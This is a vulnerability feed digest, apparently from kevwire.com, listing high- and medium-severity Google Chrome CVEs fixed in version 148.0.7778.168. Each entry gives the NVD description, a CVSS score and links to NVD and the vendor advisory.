Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8531).
Sources:
NVD CVE-2026-8531: https://nvd.nist.gov/vuln/detail/CVE-2026-8531
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Heap buffer overflow in WebML in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8532
Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8532).
Sources:
NVD CVE-2026-8532: https://nvd.nist.gov/vuln/detail/CVE-2026-8532
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape...
https://kevwire.com/record/CVE-2026-8533
Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape... (May 14, 2026).
Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8533).
Sources:
NVD CVE-2026-8533: https://nvd.nist.gov/vuln/detail/CVE-2026-8533
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a...
https://kevwire.com/record/CVE-2026-8534
Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a... (May 14, 2026).
Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8534).
Sources:
NVD CVE-2026-8534: https://nvd.nist.gov/vuln/detail/CVE-2026-8534
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Integer overflow in GPU in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8540
Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8540).
Sources:
NVD CVE-2026-8540: https://nvd.nist.gov/vuln/detail/CVE-2026-8540
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Type Confusion in V8 in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...
https://kevwire.com/record/CVE-2026-8542
Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox... (May 14, 2026).
Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8542).
Sources:
NVD CVE-2026-8542: https://nvd.nist.gov/vuln/detail/CVE-2026-8542
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8544
Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8544).
Sources:
NVD CVE-2026-8544: https://nvd.nist.gov/vuln/detail/CVE-2026-8544
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform...
https://kevwire.com/record/CVE-2026-8547
Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform... (May 14, 2026).
Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8547).
Sources:
NVD CVE-2026-8547: https://nvd.nist.gov/vuln/detail/CVE-2026-8547
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Insufficient policy enforcement in Passwords in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape...
https://kevwire.com/record/CVE-2026-8548
Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape... (May 14, 2026).
Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8548).
Sources:
NVD CVE-2026-8548: https://nvd.nist.gov/vuln/detail/CVE-2026-8548
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Out of bounds write in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8549
Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8549).
Sources:
NVD CVE-2026-8549: https://nvd.nist.gov/vuln/detail/CVE-2026-8549
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via...
https://kevwire.com/record/CVE-2026-8551
Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via... (May 14, 2026).
Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8551).
Sources:
NVD CVE-2026-8551: https://nvd.nist.gov/vuln/detail/CVE-2026-8551
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Downloads in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8555
Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (May 14, 2026).
Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8555).
Sources:
NVD CVE-2026-8555: https://nvd.nist.gov/vuln/detail/CVE-2026-8555
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in GTK in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a...
https://kevwire.com/record/CVE-2026-8557
Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a... (May 14, 2026).
Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8557).
Sources:
NVD CVE-2026-8557: https://nvd.nist.gov/vuln/detail/CVE-2026-8557
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8558
Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8558).
Sources:
NVD CVE-2026-8558: https://nvd.nist.gov/vuln/detail/CVE-2026-8558
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Out of bounds write in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file.
https://kevwire.com/record/CVE-2026-8569
Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (May 14, 2026).
Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8569).
Sources:
NVD CVE-2026-8569: https://nvd.nist.gov/vuln/detail/CVE-2026-8569
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Out of bounds write in Codecs in Google Chrome on Mac prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially...
https://kevwire.com/record/CVE-2026-8571
Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially... (May 14, 2026).
Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8571).
Sources:
NVD CVE-2026-8571: https://nvd.nist.gov/vuln/detail/CVE-2026-8571
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file.
https://kevwire.com/record/CVE-2026-8573
Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (May 14, 2026).
Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8573).
Sources:
NVD CVE-2026-8573: https://nvd.nist.gov/vuln/detail/CVE-2026-8573
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

